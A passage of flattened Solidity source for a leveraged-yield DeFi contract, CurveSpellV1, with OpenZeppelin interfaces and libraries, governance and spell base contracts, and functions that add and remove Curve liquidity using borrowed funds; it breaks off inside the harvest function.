event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// Part: OpenZeppelin/[email protected]/IERC1155Receiver
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// Part: OpenZeppelin/[email protected]/Initializable
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: Governable
contract Governable is Initializable {
event SetGovernor(address governor);
event SetPendingGovernor(address pendingGovernor);
event AcceptGovernor(address governor);
address public governor; // The current governor.
address public pendingGovernor; // The address pending to become the governor once accepted.
bytes32[64] _gap; // reserve space for upgrade
modifier onlyGov() {
require(msg.sender == governor, 'not the governor');
_;
}
/// @dev Initialize using msg.sender as the first governor.
function __Governable__init() internal initializer {
governor = msg.sender;
pendingGovernor = address(0);
emit SetGovernor(msg.sender);
}
/// @dev Set the pending governor, which will be the governor once accepted.
/// @param _pendingGovernor The address to become the pending governor.
function setPendingGovernor(address _pendingGovernor) external onlyGov {
pendingGovernor = _pendingGovernor;
emit SetPendingGovernor(_pendingGovernor);
}
/// @dev Accept to become the new governor. Must be called by the pending governor.
function acceptGovernor() external {
require(msg.sender == pendingGovernor, 'not the pending governor');
pendingGovernor = address(0);
governor = msg.sender;
emit AcceptGovernor(msg.sender);
}
}
// Part: IWERC20
interface IWERC20 is IERC1155, IERC20Wrapper {
/// @dev Return the underlying ERC20 balance for the user.
function balanceOfERC20(address token, address user) external view returns (uint);
/// @dev Mint ERC1155 token for the given ERC20 token.
function mint(address token, uint amount) external;
/// @dev Burn ERC1155 token to redeem ERC20 token back.
function burn(address token, uint amount) external;
}
// Part: IWLiquidityGauge
interface IWLiquidityGauge is IERC1155, IERC20Wrapper {
/// @dev Mint ERC1155 token for the given ERC20 token.
function mint(
uint pid,
uint gid,
uint amount
) external returns (uint id);
/// @dev Burn ERC1155 token to redeem ERC20 token back.
function burn(uint id, uint amount) external returns (uint pid);
function crv() external returns (IERC20);
function registry() external returns (ICurveRegistry);
function encodeId(
uint,
uint,
uint
) external pure returns (uint);
function decodeId(uint id)
external
pure
returns (
uint,
uint,
uint
);
function getUnderlyingTokenFromIds(uint pid, uint gid) external view returns (address);
}
// Part: OpenZeppelin/[email protected]/ERC1155Receiver
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
constructor() internal {
_registerInterface(
ERC1155Receiver(address(0)).onERC1155Received.selector ^
ERC1155Receiver(address(0)).onERC1155BatchReceived.selector
);
}
}
// Part: ERC1155NaiveReceiver
contract ERC1155NaiveReceiver is ERC1155Receiver {
bytes32[64] __gap; // reserve space for upgrade
function onERC1155Received(
address, /* operator */
address, /* from */
uint, /* id */
uint, /* value */
bytes calldata /* data */
) external override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address, /* operator */
address, /* from */
uint[] calldata, /* ids */
uint[] calldata, /* values */
bytes calldata /* data */
) external override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
// Part: BasicSpell
abstract contract BasicSpell is ERC1155NaiveReceiver {
using SafeERC20 for IERC20;
IBank public immutable bank;
IWERC20 public immutable werc20;
address public immutable weth;
mapping(address => mapping(address => bool)) public approved; // Mapping from token to (mapping from spender to approve status)
constructor(
IBank _bank,
address _werc20,
address _weth
) public {
bank = _bank;
werc20 = IWERC20(_werc20);
weth = _weth;
ensureApprove(_weth, address(_bank));
IWERC20(_werc20).setApprovalForAll(address(_bank), true);
}
/// @dev Ensure that the spell has approved the given spender to spend all of its tokens.
/// @param token The token to approve.
/// @param spender The spender to allow spending.
/// NOTE: This is safe because spell is never built to hold fund custody.
function ensureApprove(address token, address spender) internal {
if (!approved[token][spender]) {
IERC20(token).safeApprove(spender, uint(-1));
approved[token][spender] = true;
}
}
/// @dev Internal call to convert msg.value ETH to WETH inside the contract.
function doTransmitETH() internal {
if (msg.value > 0) {
IWETH(weth).deposit{value: msg.value}();
}
}
/// @dev Internal call to transmit tokens from the bank if amount is positive.
/// @param token The token to perform the transmit action.
/// @param amount The amount to transmit.
/// @notice Do not use `amount` input argument to handle the received amount.
function doTransmit(address token, uint amount) internal {
if (amount > 0) {
bank.transmit(token, amount);
}
}
/// @dev Internal call to refund tokens to the current bank executor.
/// @param token The token to perform the refund action.
function doRefund(address token) internal {
uint balance = IERC20(token).balanceOf(address(this));
if (balance > 0) {
IERC20(token).safeTransfer(bank.EXECUTOR(), balance);
}
}
/// @dev Internal call to refund all WETH to the current executor as native ETH.
function doRefundETH() internal {
uint balance = IWETH(weth).balanceOf(address(this));
if (balance > 0) {
IWETH(weth).withdraw(balance);
(bool success, ) = bank.EXECUTOR().call{value: balance}(new bytes(0));
require(success, 'refund ETH failed');
}
}
/// @dev Internal call to borrow tokens from the bank on behalf of the current executor.
/// @param token The token to borrow from the bank.
/// @param amount The amount to borrow.
/// @notice Do not use `amount` input argument to handle the received amount.
function doBorrow(address token, uint amount) internal {
if (amount > 0) {
bank.borrow(token, amount);
}
}
/// @dev Internal call to repay tokens to the bank on behalf of the current executor.
/// @param token The token to repay to the bank.
/// @param amount The amount to repay.
function doRepay(address token, uint amount) internal {
if (amount > 0) {
ensureApprove(token, address(bank));
bank.repay(token, amount);
}
}
/// @dev Internal call to put collateral tokens in the bank.
/// @param token The token to put in the bank.
/// @param amount The amount to put in the bank.
function doPutCollateral(address token, uint amount) internal {
if (amount > 0) {
ensureApprove(token, address(werc20));
werc20.mint(token, amount);
bank.putCollateral(address(werc20), uint(token), amount);
}
}
/// @dev Internal call to take collateral tokens from the bank.
/// @param token The token to take back.
/// @param amount The amount to take back.
function doTakeCollateral(address token, uint amount) internal {
if (amount > 0) {
if (amount == uint(-1)) {
(, , , amount) = bank.getCurrentPositionInfo();
}
bank.takeCollateral(address(werc20), uint(token), amount);
werc20.burn(token, amount);
}
}
/// @dev Fallback function. Can only receive ETH from WETH contract.
receive() external payable {
require(msg.sender == weth, 'ETH must come from WETH');
}
}
// Part: WhitelistSpell
contract WhitelistSpell is BasicSpell, Governable {
mapping(address => bool) public whitelistedLpTokens; // mapping from lp token to whitelist status
constructor(
IBank _bank,
address _werc20,
address _weth
) public BasicSpell(_bank, _werc20, _weth) {
__Governable__init();
}
/// @dev Set whitelist LP token statuses for spell
/// @param lpTokens LP tokens to set whitelist statuses
/// @param statuses Whitelist statuses
function setWhitelistLPTokens(address[] calldata lpTokens, bool[] calldata statuses)
external
onlyGov
{
require(lpTokens.length == statuses.length, 'lpTokens & statuses length mismatched');
for (uint idx = 0; idx < lpTokens.length; idx++) {
if (statuses[idx]) {
require(bank.support(lpTokens[idx]), 'oracle not support lp token');
}
whitelistedLpTokens[lpTokens[idx]] = statuses[idx];
}
}
}
// File: CurveSpellV1.sol
contract CurveSpellV1 is WhitelistSpell {
using SafeMath for uint;
using HomoraMath for uint;
ICurveRegistry public immutable registry; // Curve registry
IWLiquidityGauge public immutable wgauge; // Wrapped liquidity gauge
address public immutable crv; // CRV token address
mapping(address => address[]) public ulTokens; // Mapping from LP token address -> underlying token addresses
mapping(address => address) public poolOf; // Mapping from LP token address to -> pool address
constructor(
IBank _bank,
address _werc20,
address _weth,
address _wgauge
) public WhitelistSpell(_bank, _werc20, _weth) {
wgauge = IWLiquidityGauge(_wgauge);
IWLiquidityGauge(_wgauge).setApprovalForAll(address(_bank), true);
registry = IWLiquidityGauge(_wgauge).registry();
crv = address(IWLiquidityGauge(_wgauge).crv());
}
/// @dev Return pool address given LP token and update pool info if not exist.
/// @param lp LP token to find the corresponding pool.
function getPool(address lp) public returns (address) {
address pool = poolOf[lp];
if (pool == address(0)) {
require(lp != address(0), 'no lp token');
pool = registry.get_pool_from_lp_token(lp);
require(pool != address(0), 'no corresponding pool for lp token');
poolOf[lp] = pool;
(uint n, ) = registry.get_n_coins(pool);
address[8] memory tokens = registry.get_coins(pool);
ulTokens[lp] = new address[](n);
for (uint i = 0; i < n; i++) {
ulTokens[lp][i] = tokens[i];
}
}
return pool;
}
/// @dev Ensure approval of underlying tokens to the corresponding Curve pool
/// @param lp LP token for the pool
/// @param n Number of pool's underlying tokens
function ensureApproveN(address lp, uint n) public {
require(ulTokens[lp].length == n, 'incorrect pool length');
address pool = poolOf[lp];
address[] memory tokens = ulTokens[lp];
for (uint idx = 0; idx < n; idx++) {
ensureApprove(tokens[idx], pool);
}
}
/// @dev Add liquidity to Curve pool with 2 underlying tokens, with staking to Curve gauge
/// @param lp LP token for the pool
/// @param amtsUser Supplied underlying token amounts
/// @param amtLPUser Supplied LP token amount
/// @param amtsBorrow Borrow underlying token amounts
/// @param amtLPBorrow Borrow LP token amount
/// @param minLPMint Desired LP token amount (slippage control)
/// @param pid Curve pool id for the pool
/// @param gid Curve gauge id for the pool
function addLiquidity2(
address lp,
uint[2] calldata amtsUser,
uint amtLPUser,
uint[2] calldata amtsBorrow,
uint amtLPBorrow,
uint minLPMint,
uint pid,
uint gid
) external {
require(whitelistedLpTokens[lp], 'lp token not whitelisted');
address pool = getPool(lp);
require(ulTokens[lp].length == 2, 'incorrect pool length');
require(wgauge.getUnderlyingTokenFromIds(pid, gid) == lp, 'incorrect underlying');
address[] memory tokens = ulTokens[lp];
// 0. Take out collateral
(, address collToken, uint collId, uint collSize) = bank.getCurrentPositionInfo();
if (collSize > 0) {
(uint decodedPid, uint decodedGid, ) = wgauge.decodeId(collId);
require(decodedPid == pid && decodedGid == gid, 'bad pid or gid');
require(collToken == address(wgauge), 'collateral token & wgauge mismatched');
bank.takeCollateral(address(wgauge), collId, collSize);
wgauge.burn(collId, collSize);
}
// 1. Ensure approve 2 underlying tokens
ensureApproveN(lp, 2);
// 2. Get user input amounts
for (uint i = 0; i < 2; i++) doTransmit(tokens[i], amtsUser[i]);
doTransmit(lp, amtLPUser);
// 3. Borrow specified amounts
for (uint i = 0; i < 2; i++) doBorrow(tokens[i], amtsBorrow[i]);
doBorrow(lp, amtLPBorrow);
// 4. add liquidity
uint[2] memory suppliedAmts;
for (uint i = 0; i < 2; i++) {
suppliedAmts[i] = IERC20(tokens[i]).balanceOf(address(this));
}
if (suppliedAmts[0] > 0 || suppliedAmts[1] > 0) {
ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);
}
// 5. Put collateral
ensureApprove(lp, address(wgauge));
{
uint amount = IERC20(lp).balanceOf(address(this));
uint id = wgauge.mint(pid, gid, amount);
bank.putCollateral(address(wgauge), id, amount);
}
// 6. Refund
for (uint i = 0; i < 2; i++) doRefund(tokens[i]);
// 7. Refund crv
doRefund(crv);
}
/// @dev Add liquidity to Curve pool with 3 underlying tokens, with staking to Curve gauge
/// @param lp LP token for the pool
/// @param amtsUser Supplied underlying token amounts
/// @param amtLPUser Supplied LP token amount
/// @param amtsBorrow Borrow underlying token amounts
/// @param amtLPBorrow Borrow LP token amount
/// @param minLPMint Desired LP token amount (slippage control)
/// @param pid CUrve pool id for the pool
/// @param gid Curve gauge id for the pool
function addLiquidity3(
address lp,
uint[3] calldata amtsUser,
uint amtLPUser,
uint[3] calldata amtsBorrow,
uint amtLPBorrow,
uint minLPMint,
uint pid,
uint gid
) external {
require(whitelistedLpTokens[lp], 'lp token not whitelisted');
address pool = getPool(lp);
require(ulTokens[lp].length == 3, 'incorrect pool length');
require(wgauge.getUnderlyingTokenFromIds(pid, gid) == lp, 'incorrect underlying');
address[] memory tokens = ulTokens[lp];
// 0. take out collateral
(, address collToken, uint collId, uint collSize) = bank.getCurrentPositionInfo();
if (collSize > 0) {
(uint decodedPid, uint decodedGid, ) = wgauge.decodeId(collId);
require(decodedPid == pid && decodedGid == gid, 'incorrect coll id');
require(collToken == address(wgauge), 'collateral token & wgauge mismatched');
bank.takeCollateral(address(wgauge), collId, collSize);
wgauge.burn(collId, collSize);
}
// 1. Ensure approve 3 underlying tokens
ensureApproveN(lp, 3);
// 2. Get user input amounts
for (uint i = 0; i < 3; i++) doTransmit(tokens[i], amtsUser[i]);
doTransmit(lp, amtLPUser);
// 3. Borrow specified amounts
for (uint i = 0; i < 3; i++) doBorrow(tokens[i], amtsBorrow[i]);
doBorrow(lp, amtLPBorrow);
// 4. add liquidity
uint[3] memory suppliedAmts;
for (uint i = 0; i < 3; i++) {
suppliedAmts[i] = IERC20(tokens[i]).balanceOf(address(this));
}
if (suppliedAmts[0] > 0 || suppliedAmts[1] > 0 || suppliedAmts[2] > 0) {
ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);
}
// 5. put collateral
ensureApprove(lp, address(wgauge));
{
uint amount = IERC20(lp).balanceOf(address(this));
uint id = wgauge.mint(pid, gid, amount);
bank.putCollateral(address(wgauge), id, amount);
}
// 6. Refund
for (uint i = 0; i < 3; i++) doRefund(tokens[i]);
// 7. Refund crv
doRefund(crv);
}
/// @dev Add liquidity to Curve pool with 4 underlying tokens, with staking to Curve gauge
/// @param lp LP token for the pool
/// @param amtsUser Supplied underlying token amounts
/// @param amtLPUser Supplied LP token amount
/// @param amtsBorrow Borrow underlying token amounts
/// @param amtLPBorrow Borrow LP token amount
/// @param minLPMint Desired LP token amount (slippage control)
/// @param pid CUrve pool id for the pool
/// @param gid Curve gauge id for the pool
function addLiquidity4(
address lp,
uint[4] calldata amtsUser,
uint amtLPUser,
uint[4] calldata amtsBorrow,
uint amtLPBorrow,
uint minLPMint,
uint pid,
uint gid
) external {
require(whitelistedLpTokens[lp], 'lp token not whitelisted');
address pool = getPool(lp);
require(ulTokens[lp].length == 4, 'incorrect pool length');
require(wgauge.getUnderlyingTokenFromIds(pid, gid) == lp, 'incorrect underlying');
address[] memory tokens = ulTokens[lp];
// 0. Take out collateral
(, address collToken, uint collId, uint collSize) = bank.getCurrentPositionInfo();
if (collSize > 0) {
(uint decodedPid, uint decodedGid, ) = wgauge.decodeId(collId);
require(decodedPid == pid && decodedGid == gid, 'incorrect coll id');
require(collToken == address(wgauge), 'collateral token & wgauge mismatched');
bank.takeCollateral(address(wgauge), collId, collSize);
wgauge.burn(collId, collSize);
}
// 1. Ensure approve 4 underlying tokens
ensureApproveN(lp, 4);
// 2. Get user input amounts
for (uint i = 0; i < 4; i++) doTransmit(tokens[i], amtsUser[i]);
doTransmit(lp, amtLPUser);
// 3. Borrow specified amounts
for (uint i = 0; i < 4; i++) doBorrow(tokens[i], amtsBorrow[i]);
doBorrow(lp, amtLPBorrow);
// 4. add liquidity
uint[4] memory suppliedAmts;
for (uint i = 0; i < 4; i++) {
suppliedAmts[i] = IERC20(tokens[i]).balanceOf(address(this));
}
if (suppliedAmts[0] > 0 || suppliedAmts[1] > 0 || suppliedAmts[2] > 0 || suppliedAmts[3] > 0) {
ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);
}
// 5. Put collateral
ensureApprove(lp, address(wgauge));
{
uint amount = IERC20(lp).balanceOf(address(this));
uint id = wgauge.mint(pid, gid, amount);
bank.putCollateral(address(wgauge), id, amount);
}
// 6. Refund
for (uint i = 0; i < 4; i++) doRefund(tokens[i]);
// 7. Refund crv
doRefund(crv);
}
/// @dev Remove liquidity from Curve pool with 2 underlying tokens
/// @param lp LP token for the pool
/// @param amtLPTake Take out LP token amount (from Homora)
/// @param amtLPWithdraw Withdraw LP token amount (back to caller)
/// @param amtsRepay Repay underlying token amounts
/// @param amtLPRepay Repay LP token amount
/// @param amtsMin Desired underlying token amounts (slippage control)
function removeLiquidity2(
address lp,
uint amtLPTake,
uint amtLPWithdraw,
uint[2] calldata amtsRepay,
uint amtLPRepay,
uint[2] calldata amtsMin
) external {
require(whitelistedLpTokens[lp], 'lp token not whitelisted');
address pool = getPool(lp);
uint positionId = bank.POSITION_ID();
(, address collToken, uint collId, ) = bank.getPositionInfo(positionId);
require(IWLiquidityGauge(collToken).getUnderlyingToken(collId) == lp, 'incorrect underlying');
require(collToken == address(wgauge), 'collateral token & wgauge mismatched');
address[] memory tokens = ulTokens[lp];
// 0. Ensure approve
ensureApproveN(lp, 2);
// 1. Compute repay amount if MAX_INT is supplied (max debt)
uint[2] memory actualAmtsRepay;
for (uint i = 0; i < 2; i++) {
actualAmtsRepay[i] = amtsRepay[i] == uint(-1)
? bank.borrowBalanceCurrent(positionId, tokens[i])
: amtsRepay[i];
}
uint[2] memory amtsDesired;
for (uint i = 0; i < 2; i++) {
amtsDesired[i] = actualAmtsRepay[i].add(amtsMin[i]); // repay amt + slippage control
}
// 2. Take out collateral
bank.takeCollateral(address(wgauge), collId, amtLPTake);
wgauge.burn(collId, amtLPTake);
// 3. Compute amount to actually remove. Remove to repay just enough
uint amtLPToRemove;
if (amtsDesired[0] > 0 || amtsDesired[1] > 0) {
amtLPToRemove = IERC20(lp).balanceOf(address(this)).sub(amtLPWithdraw);
ICurvePool(pool).remove_liquidity_imbalance(amtsDesired, amtLPToRemove);
}
// 4. Compute leftover amount to remove. Remove balancedly.
amtLPToRemove = IERC20(lp).balanceOf(address(this)).sub(amtLPWithdraw);
if (amtLPToRemove > 0) {
uint[2] memory mins;
ICurvePool(pool).remove_liquidity(amtLPToRemove, mins);
}
// 5. Repay
for (uint i = 0; i < 2; i++) {
doRepay(tokens[i], actualAmtsRepay[i]);
}
doRepay(lp, amtLPRepay);
// 6. Refund
for (uint i = 0; i < 2; i++) {
doRefund(tokens[i]);
}
doRefund(lp);
// 7. Refund crv
doRefund(crv);
}
/// @dev Remove liquidity from Curve pool with 3 underlying tokens
/// @param lp LP token for the pool
/// @param amtLPTake Take out LP token amount (from Homora)
/// @param amtLPWithdraw Withdraw LP token amount (back to caller)
/// @param amtsRepay Repay underlying token amounts
/// @param amtLPRepay Repay LP token amount
/// @param amtsMin Desired underlying token amounts (slippage control)
function removeLiquidity3(
address lp,
uint amtLPTake,
uint amtLPWithdraw,
uint[3] calldata amtsRepay,
uint amtLPRepay,
uint[3] calldata amtsMin
) external {
require(whitelistedLpTokens[lp], 'lp token not whitelisted');
address pool = getPool(lp);
uint positionId = bank.POSITION_ID();
(, address collToken, uint collId, ) = bank.getPositionInfo(positionId);
require(IWLiquidityGauge(collToken).getUnderlyingToken(collId) == lp, 'incorrect underlying');
require(collToken == address(wgauge), 'collateral token & wgauge mismatched');
address[] memory tokens = ulTokens[lp];
// 0. Ensure approve
ensureApproveN(lp, 3);
// 1. Compute repay amount if MAX_INT is supplied (max debt)
uint[3] memory actualAmtsRepay;
for (uint i = 0; i < 3; i++) {
actualAmtsRepay[i] = amtsRepay[i] == uint(-1)
? bank.borrowBalanceCurrent(positionId, tokens[i])
: amtsRepay[i];
}
uint[3] memory amtsDesired;
for (uint i = 0; i < 3; i++) {
amtsDesired[i] = actualAmtsRepay[i].add(amtsMin[i]); // repay amt + slippage control
}
// 2. Take out collateral
bank.takeCollateral(address(wgauge), collId, amtLPTake);
wgauge.burn(collId, amtLPTake);
// 3. Compute amount to actually remove. Remove to repay just enough
uint amtLPToRemove;
if (amtsDesired[0] > 0 || amtsDesired[1] > 0 || amtsDesired[2] > 0) {
amtLPToRemove = IERC20(lp).balanceOf(address(this)).sub(amtLPWithdraw);
ICurvePool(pool).remove_liquidity_imbalance(amtsDesired, amtLPToRemove);
}
// 4. Compute leftover amount to remove. Remove balancedly.
amtLPToRemove = IERC20(lp).balanceOf(address(this)).sub(amtLPWithdraw);
if (amtLPToRemove > 0) {
uint[3] memory mins;
ICurvePool(pool).remove_liquidity(amtLPToRemove, mins);
}
// 5. Repay
for (uint i = 0; i < 3; i++) {
doRepay(tokens[i], actualAmtsRepay[i]);
}
doRepay(lp, amtLPRepay);
// 6. Refund
for (uint i = 0; i < 3; i++) {
doRefund(tokens[i]);
}
doRefund(lp);
// 7. Refund crv
doRefund(crv);
}
/// @dev Remove liquidity from Curve pool with 4 underlying tokens
/// @param lp LP token for the pool
/// @param amtLPTake Take out LP token amount (from Homora)
/// @param amtLPWithdraw Withdraw LP token amount (back to caller)
/// @param amtsRepay Repay underlying token amounts
/// @param amtLPRepay Repay LP token amount
/// @param amtsMin Desired underlying token amounts (slippage control)
function removeLiquidity4(
address lp,
uint amtLPTake,
uint amtLPWithdraw,
uint[4] calldata amtsRepay,
uint amtLPRepay,
uint[4] calldata amtsMin
) external {
require(whitelistedLpTokens[lp], 'lp token not whitelisted');
address pool = getPool(lp);
uint positionId = bank.POSITION_ID();
(, address collToken, uint collId, ) = bank.getPositionInfo(positionId);
require(IWLiquidityGauge(collToken).getUnderlyingToken(collId) == lp, 'incorrect underlying');
require(collToken == address(wgauge), 'collateral token & wgauge mismatched');
address[] memory tokens = ulTokens[lp];
// 0. Ensure approve
ensureApproveN(lp, 4);
// 1. Compute repay amount if MAX_INT is supplied (max debt)
uint[4] memory actualAmtsRepay;
for (uint i = 0; i < 4; i++) {
actualAmtsRepay[i] = amtsRepay[i] == uint(-1)
? bank.borrowBalanceCurrent(positionId, tokens[i])
: amtsRepay[i];
}
uint[4] memory amtsDesired;
for (uint i = 0; i < 4; i++) {
amtsDesired[i] = actualAmtsRepay[i].add(amtsMin[i]); // repay amt + slippage control
}
// 2. Take out collateral
bank.takeCollateral(address(wgauge), collId, amtLPTake);
wgauge.burn(collId, amtLPTake);
// 3. Compute amount to actually remove. Remove to repay just enough
uint amtLPToRemove;
if (amtsDesired[0] > 0 || amtsDesired[1] > 0 || amtsDesired[2] > 0 || amtsDesired[3] > 0) {
amtLPToRemove = IERC20(lp).balanceOf(address(this)).sub(amtLPWithdraw);
ICurvePool(pool).remove_liquidity_imbalance(amtsDesired, amtLPToRemove);
}
// 4. Compute leftover amount to remove. Remove balancedly.
amtLPToRemove = IERC20(lp).balanceOf(address(this)).sub(amtLPWithdraw);
if (amtLPToRemove > 0) {
uint[4] memory mins;
ICurvePool(pool).remove_liquidity(amtLPToRemove, mins);
}
// 5. Repay
for (uint i = 0; i < 4; i++) {
doRepay(tokens[i], actualAmtsRepay[i]);
}
doRepay(lp, amtLPRepay);
// 6. Refund
for (uint i = 0; i < 4; i++) {
doRefund(tokens[i]);
}
doRefund(lp);
// 7. Refund crv
doRefund(crv);
}
/// @dev Harvest CRV reward tokens to in-exec position's owner
function harvest() external {
(, address collToken, uint collId, uint collSize) = bank.getCurrentPositionInfo();
(uint pid, uint gid, ) = wgauge.decodeId(collId);
address lp = wgauge.getUnderlyingToken(collId);
require(whitelistedLpTokens[lp], 'lp token not whitelisted');
require(collToken == address(wgauge), 'collateral token & wgauge mismatched');
// 1. Take out collateral
bank.takeCollateral(address(wgauge), collId, collSize);
wgauge.burn(collId, collSize);
// 2. Put collateral
